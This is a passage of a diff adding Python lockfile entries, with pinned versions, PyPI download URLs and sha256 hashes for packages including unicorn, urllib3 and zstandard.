+sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" },
+]
+
+[[package]]
+name = "unicorn"
+version = "2.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/90/12/a10f01a3e1dafcd21e2eb0c0d99bb51d5bda1d3fee20047cb2a4b2de6285/unicorn-2.1.2.tar.gz", hash = "sha256:e4a9d671bdea71806f29a396734cfb83317f82943b52d0001d3bca1dcbaee893", size = 2858907, upload-time = "2025-02-13T15:32:07.433Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/40/64/5b37c21ff413341ca00236f2ff1c712296232239995949f4ca02c10ce357/unicorn-2.1.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:eb018793a60151f8b1682d80fd6e60cd20407be25f88b25612006ab344c2c621", size = 12885488, upload-time = "2025-02-13T15:28:56.54Z" },
+ { url = "https://files.pythonhosted.org/packages/2e/11/e3b8589df44f6d637a2839d7747ab2da2e406cd8624d8892199fb987654a/unicorn-2.1.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8aab7f7cc2570585ee37335af51dddf0992629c36983e205a924e459cccb993d", size = 15286698, upload-time = "2025-02-13T15:29:00.017Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/33/ad3727494c2342b664e92dfeca6a2739be2a40b3c9842afab2216df41659/unicorn-2.1.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a763d3dc0afea744d0275293c51c377570354e475a6cfb79e8a8fbc4c3b4c17", size = 19738716, upload-time = "2025-02-13T15:29:03.178Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/dd/60d3453364ccaa08da5084cfffb3f8e32abb69289d813117035cce59e46b/unicorn-2.1.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a3f886db8d977ae4b36810e5fe3dd0d2ba2151d030e64db47ae2c5f1115efa8", size = 16341447, upload-time = "2025-02-13T15:29:07.261Z" },
+ { url = "https://files.pythonhosted.org/packages/44/ed/d78471db33f82dd9c5e5715c15239dd8b7e531911d55709e2337c910194d/unicorn-2.1.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:31a506cd0f3a65e69219f06bf8744520334ff12219905c00779bb93307c50e03", size = 15825061, upload-time = "2025-02-13T15:29:10.229Z" },
+ { url = "https://files.pythonhosted.org/packages/db/77/6cab866f23f1ab5b03b18303de06ddb7bc14009e5bda7131a5b33715074e/unicorn-2.1.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:c0148d061466a9f69bbd1ae5bf0087696a405c05471693c5f20e98cf81cdb086", size = 20386199, upload-time = "2025-02-13T15:29:14.44Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/5d/f56e0e140203ddc9384d311001595d55800bd59e1aa51ef5e4523bca73e4/unicorn-2.1.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7c7cb06d93844c69126c07f77ce34cd51ce63c352b5d0cfdc331b522eef2c0e3", size = 16670403, upload-time = "2025-02-13T15:29:19.32Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/71/6422b3e260e3463538fa1434e82d56fc2913ab6eabebfafee93b302a0eb7/unicorn-2.1.2-cp312-cp312-win32.whl", hash = "sha256:1f324c54fdc132e69e4cbb14c2e256bcc9eba67891561f06ca90db89511a10d2", size = 11731856, upload-time = "2025-02-13T15:29:22.143Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/1b/b7b70183ad0559ce20818a5adf9eeaf289afcef7f371df4c549cd0ff1c4d/unicorn-2.1.2-cp312-cp312-win_amd64.whl", hash = "sha256:04133be6fd0b80301f2bd44fcc18840db0ab44753a7fe2185280c437f97bb87c", size = 15859730, upload-time = "2025-02-13T15:29:26.053Z" },
+ { url = "https://files.pythonhosted.org/packages/28/5e/6d2f00bbba51fa4bf6ebbeda85a4cc114ddbce54fc6a43990e52dcf85a25/unicorn-2.1.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:32727577224f3aea7a2f2452f5c775e89427518fc2de15816a0f7f126853911f", size = 12885661, upload-time = "2025-02-13T15:29:29.192Z" },
+ { url = "https://files.pythonhosted.org/packages/28/74/757a6d1484fc698b65ae88fd3832662c03aa9b91dfe6f6c681185bed7e8a/unicorn-2.1.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:31a6778397ca00cec40ae000075bfe7e7335186c4421d10c0a7b41725e5c118b", size = 15286663, upload-time = "2025-02-13T15:29:32.615Z" },
+ { url = "https://files.pythonhosted.org/packages/24/bf/d97ee3143ae10286869f86ffd910e857476ed8e94ea57de7d32b41e4aa46/unicorn-2.1.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99c343f74676494b61d4e3307db28ba055707c620eac0643739cd5268e5d4559", size = 19738521, upload-time = "2025-02-13T15:29:36.471Z" },
+ { url = "https://files.pythonhosted.org/packages/57/88/bc15c97ce48e83b330c457d71d467d7b0e59c9e4debcdca9f0caefc676e1/unicorn-2.1.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c6a0bdfc38266600eacee2f264202fad1bff8590ad36d187b47033a782f12dc", size = 16341494, upload-time = "2025-02-13T15:29:39.758Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/f3/47829c17bae2b7f47213e43d48d5d9787d5d23e25eca1c0dc1898e514141/unicorn-2.1.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8d61c0724780e021a6f3beee34c7f747d2eca37dbbd5e1e4b201fa50b86191fc", size = 15825061, upload-time = "2025-02-13T15:29:43.447Z" },
+ { url = "https://files.pythonhosted.org/packages/89/8d/07b23a82f5966007927b0790fe59b450d6b57308450d7c2c088585472852/unicorn-2.1.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b53e726c95a452745718ba6611b96c4031472e4d3f4aa8bb8e6deab882783719", size = 20386198, upload-time = "2025-02-13T15:29:46.575Z" },
+ { url = "https://files.pythonhosted.org/packages/60/bd/3635d8f2336dbba5ece77f2be7abc4585676bc3aea3e85e81721e14f529a/unicorn-2.1.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51ddac19d17aa7a220d2760898e38286461f4120d4372578ffec14e198093a7a", size = 16670404, upload-time = "2025-02-13T15:29:50.032Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/54/098926e287744ad8013acb3c97071fce9681befae02310b14f02913450d0/unicorn-2.1.2-cp313-cp313-win32.whl", hash = "sha256:7f0436c3e6e982bc2a00cb66297c84f60f3c0167360fb68d5f17c14e6cc0b200", size = 11731855, upload-time = "2025-02-13T15:29:53.035Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/13/dcace4588089ae3d5182c83d18f3c0c3f0370ddbc1a63f75902802f547e7/unicorn-2.1.2-cp313-cp313-win_amd64.whl", hash = "sha256:9e8a56ea10b019f0ac24310d3f5c43d55b9916cffbfa8634aae8b26b93d3de59", size = 15859731, upload-time = "2025-02-13T15:29:55.76Z" },
+]
+
+[[package]]
+name = "unix-ar"
+version = "0.2.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/3e/37/65cb206bd7110887248fe041e00e61124abdcd23de8f19418898a51363fc/unix_ar-0.2.1.tar.gz", hash = "sha256:bf9328ec70fa3a82f94dc26dc125264dbf62a2d8ffb1a3c8c8a8230175e72c4e", size = 7441, upload-time = "2019-06-12T17:21:23.99Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b6/a1/847695f96c37cdd57233e6e0f76c4637332acb06a6e0258160f0062c1a85/unix_ar-0.2.1-py2.py3-none-any.whl", hash = "sha256:2acb718bc1308bf80e5b9da2614d8242cc2fe3be4cd8b2fd4719bce189aafcf1", size = 6529, upload-time = "2019-06-12T17:21:22.314Z" },
+]
+
+[[package]]
+name = "urllib3"
+version = "2.5.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/15/22/9ee70a2574a4f4599c47dd506532914ce044817c7752a79b6a51286319bc/urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760", size = 393185, upload-time = "2025-06-18T14:07:41.644Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a7/c2/fe1e52489ae3122415c51f387e221dd0773709bad6c6cdaa599e8a2c5185/urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc", size = 129795, upload-time = "2025-06-18T14:07:40.39Z" },
+]
+
+[[package]]
+name = "zstandard"
+version = "0.23.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi", marker = "platform_python_implementation == 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ed/f6/2ac0287b442160a89d726b17a9184a4c615bb5237db763791a7fd16d9df1/zstandard-0.23.0.tar.gz", hash = "sha256:b2d8c62d08e7255f68f7a740bae85b3c9b8e5466baa9cbf7f57f1cde0ac6bc09", size = 681701, upload-time = "2024-07-15T00:18:06.141Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7b/83/f23338c963bd9de687d47bf32efe9fd30164e722ba27fb59df33e6b1719b/zstandard-0.23.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:b4567955a6bc1b20e9c31612e615af6b53733491aeaa19a6b3b37f3b65477094", size = 788713, upload-time = "2024-07-15T00:15:35.815Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/b3/1a028f6750fd9227ee0b937a278a434ab7f7fdc3066c3173f64366fe2466/zstandard-0.23.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1e172f57cd78c20f13a3415cc8dfe24bf388614324d25539146594c16d78fcc8", size = 633459, upload-time = "2024-07-15T00:15:37.995Z" },
+ { url = "https://files.pythonhosted.org/packages/26/af/36d89aae0c1f95a0a98e50711bc5d92c144939efc1f81a2fcd3e78d7f4c1/zstandard-0.23.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b0e166f698c5a3e914947388c162be2583e0c638a4703fc6a543e23a88dea3c1", size = 4945707, upload-time = "2024-07-15T00:15:39.872Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/2e/2051f5c772f4dfc0aae3741d5fc72c3dcfe3aaeb461cc231668a4db1ce14/zstandard-0.23.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:12a289832e520c6bd4dcaad68e944b86da3bad0d339ef7989fb7e88f92e96072", size = 5306545, upload-time = "2024-07-15T00:15:41.75Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/9e/a11c97b087f89cab030fa71206963090d2fecd8eb83e67bb8f3ffb84c024/zstandard-0.23.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d50d31bfedd53a928fed6707b15a8dbeef011bb6366297cc435accc888b27c20", size = 5337533, upload-time = "2024-07-15T00:15:44.114Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/79/edeb217c57fe1bf16d890aa91a1c2c96b28c07b46afed54a5dcf310c3f6f/zstandard-0.23.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:72c68dda124a1a138340fb62fa21b9bf4848437d9ca60bd35db36f2d3345f373", size = 5436510, upload-time = "2024-07-15T00:15:46.509Z" },
+ { url = "https://files.pythonhosted.org/packages/81/4f/c21383d97cb7a422ddf1ae824b53ce4b51063d0eeb2afa757eb40804a8ef/zstandard-0.23.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53dd9d5e3d29f95acd5de6802e909ada8d8d8cfa37a3ac64836f3bc4bc5512db", size = 4859973, upload-time = "2024-07-15T00:15:49.939Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/15/08d22e87753304405ccac8be2493a495f529edd81d39a0870621462276ef/zstandard-0.23.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:6a41c120c3dbc0d81a8e8adc73312d668cd34acd7725f036992b1b72d22c1772", size = 4936968, upload-time = "2024-07-15T00:15:52.025Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/fa/f3670a597949fe7dcf38119a39f7da49a8a84a6f0b1a2e46b2f71a0ab83f/zstandard-0.23.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:40b33d93c6eddf02d2c19f5773196068d875c41ca25730e8288e9b672897c105", size = 5467179, upload-time = "2024-07-15T00:15:54.971Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/a9/dad2ab22020211e380adc477a1dbf9f109b1f8d94c614944843e20dc2a99/zstandard-0.23.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9206649ec587e6b02bd124fb7799b86cddec350f6f6c14bc82a2b70183e708ba", size = 4848577, upload-time = "2024-07-15T00:15:57.634Z" },
+ { url = "https://files.pythonhosted.org/packages/08/03/dd28b4484b0770f1e23478413e01bee476ae8227bbc81561f9c329e12564/zstandard-0.23.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:76e79bc28a65f467e0409098fa2c4376931fd3207fbeb6b956c7c476d53746dd", size = 4693899, upload-time = "2024-07-15T00:16:00.811Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/64/3da7497eb635d025841e958bcd66a86117ae320c3b14b0ae86e9e8627518/zstandard-0.23.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:66b689c107857eceabf2cf3d3fc699c3c0fe8ccd18df2219d978c0283e4c508a", size = 5199964, upload-time = "2024-07-15T00:16:03.669Z" },
+ { url = "https://files.pythonhosted.org/packages/43/a4/d82decbab158a0e8a6ebb7fc98bc4d903266bce85b6e9aaedea1d288338c/zstandard-0.23.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:9c236e635582742fee16603042553d276cca506e824fa2e6489db04039521e90", size = 5655398, upload-time = "2024-07-15T00:16:06.694Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/61/ac78a1263bc83a5cf29e7458b77a568eda5a8f81980691bbc6eb6a0d45cc/zstandard-0.23.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a8fffdbd9d1408006baaf02f1068d7dd1f016c6bcb7538682622c556e7b68e35", size = 5191313, upload-time = "2024-07-15T00:16:09.758Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/54/967c478314e16af5baf849b6ee9d6ea724ae5b100eb506011f045d3d4e16/zstandard-0.23.0-cp312-cp312-win32.whl", hash = "sha256:dc1d33abb8a0d754ea4763bad944fd965d3d95b5baef6b121c0c9013eaf1907d", size = 430877, upload-time = "2024-07-15T00:16:11.758Z" },
+ { url = "https://files.pythonhosted.org/packages/75/37/872d74bd7739639c4553bf94c84af7d54d8211b626b352bc57f0fd8d1e3f/zstandard-0.23.0-cp312-cp312-win_amd64.whl", hash = "sha256:64585e1dba664dc67c7cdabd56c1e5685233fbb1fc1966cfba2a340ec0dfff7b", size = 495595, upload-time = "2024-07-15T00:16:13.731Z" },
+ { url = "https://files.pythonhosted.org/packages/80/f1/8386f3f7c10261fe85fbc2c012fdb3d4db793b921c9abcc995d8da1b7a80/zstandard-0.23.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:576856e8594e6649aee06ddbfc738fec6a834f7c85bf7cadd1c53d4a58186ef9", size = 788975, upload-time = "2024-07-15T00:16:16.005Z" },
+ { url = "https://files.pythonhosted.org/packages/16/e8/cbf01077550b3e5dc86089035ff8f6fbbb312bc0983757c2d1117ebba242/zstandard-0.23.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:38302b78a850ff82656beaddeb0bb989a0322a8bbb1bf1ab10c17506681d772a", size = 633448, upload-time = "2024-07-15T00:16:17.897Z" },
+ { url = "https://files.pythonhosted.org/packages/06/27/4a1b4c267c29a464a161aeb2589aff212b4db653a1d96bffe3598f3f0d22/zstandard-0.23.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d2240ddc86b74966c34554c49d00eaafa8200a18d3a5b6ffbf7da63b11d74ee2", size = 4945269, upload-time = "2024-07-15T00:16:20.136Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/64/d99261cc57afd9ae65b707e38045ed8269fbdae73544fd2e4a4d50d0ed83/zstandard-0.23.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ef230a8fd217a2015bc91b74f6b3b7d6522ba48be29ad4ea0ca3a3775bf7dd5", size = 5306228, upload-time = "2024-07-15T00:16:23.398Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/cf/27b74c6f22541f0263016a0fd6369b1b7818941de639215c84e4e94b2a1c/zstandard-0.23.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:774d45b1fac1461f48698a9d4b5fa19a69d47ece02fa469825b442263f04021f", size = 5336891, upload-time = "2024-07-15T00:16:26.391Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/18/89ac62eac46b69948bf35fcd90d37103f38722968e2981f752d69081ec4d/zstandard-0.23.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f77fa49079891a4aab203d0b1744acc85577ed16d767b52fc089d83faf8d8ed", size = 5436310, upload-time = "2024-07-15T00:16:29.018Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/a8/5ca5328ee568a873f5118d5b5f70d1f36c6387716efe2e369010289a5738/zstandard-0.23.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac184f87ff521f4840e6ea0b10c0ec90c6b1dcd0bad2f1e4a9a1b4fa177982ea", size = 4859912, upload-time = "2024-07-15T00:16:31.871Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/ca/3781059c95fd0868658b1cf0440edd832b942f84ae60685d0cfdb808bca1/zstandard-0.23.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c363b53e257246a954ebc7c488304b5592b9c53fbe74d03bc1c64dda153fb847", size = 4936946, upload-time = "2024-07-15T00:16:34.593Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/11/41a58986f809532742c2b832c53b74ba0e0a5dae7e8ab4642bf5876f35de/zstandard-0.23.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:e7792606d606c8df5277c32ccb58f29b9b8603bf83b48639b7aedf6df4fe8171", size = 5466994, upload-time = "2024-07-15T00:16:36.887Z" },
+ { url = "https://files.pythonhosted.org/packages/83/e3/97d84fe95edd38d7053af05159465d298c8b20cebe9ccb3d26783faa9094/zstandard-0.23.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a0817825b900fcd43ac5d05b8b3079937073d2b1ff9cf89427590718b70dd840", size = 4848681, upload-time = "2024-07-15T00:16:39.709Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/99/cb1e63e931de15c88af26085e3f2d9af9ce53ccafac73b6e48418fd5a6e6/zstandard-0.23.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:9da6bc32faac9a293ddfdcb9108d4b20416219461e4ec64dfea8383cac186690", size = 4694239, upload-time = "2024-07-15T00:16:41.83Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/50/b1e703016eebbc6501fc92f34db7b1c68e54e567ef39e6e59cf5fb6f2ec0/zstandard-0.23.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fd7699e8fd9969f455ef2926221e0233f81a2542921471382e77a9e2f2b57f4b", size = 5200149, upload-time = "2024-07-15T00:16:44.287Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/e0/932388630aaba70197c78bdb10cce2c91fae01a7e553b76ce85471aec690/zstandard-0.23.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:d477ed829077cd945b01fc3115edd132c47e6540ddcd96ca169facff28173057", size = 5655392, upload-time = "2024-07-15T00:16:46.423Z" },
+ { url = "https://files.pythonhosted.org/packages/02/90/2633473864f67a15526324b007a9f96c96f56d5f32ef2a56cc12f9548723/zstandard-0.23.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa6ce8b52c5987b3e34d5674b0ab529a4602b632ebab0a93b07bfb4dfc8f8a33", size = 5191299, upload-time = "2024-07-15T00:16:49.053Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/4c/315ca5c32da7e2dc3455f3b2caee5c8c2246074a61aac6ec3378a97b7136/zstandard-0.23.0-cp313-cp313-win32.whl", hash = "sha256:a9b07268d0c3ca5c170a385a0ab9fb7fdd9f5fd866be004c4ea39e44edce47dd", size = 430862, upload-time = "2024-07-15T00:16:51.003Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/bf/c6aaba098e2d04781e8f4f7c0ba3c7aa73d00e4c436bcc0cf059a66691d1/zstandard-0.23.0-cp313-cp313-win_amd64.whl", hash = "sha256:f3513916e8c645d0610815c257cbfd3242adfd5c4cfa78be514e5a3ebb42a41b", size = 495578, upload-time = "2024-07-15T00:16:53.135Z" },
+]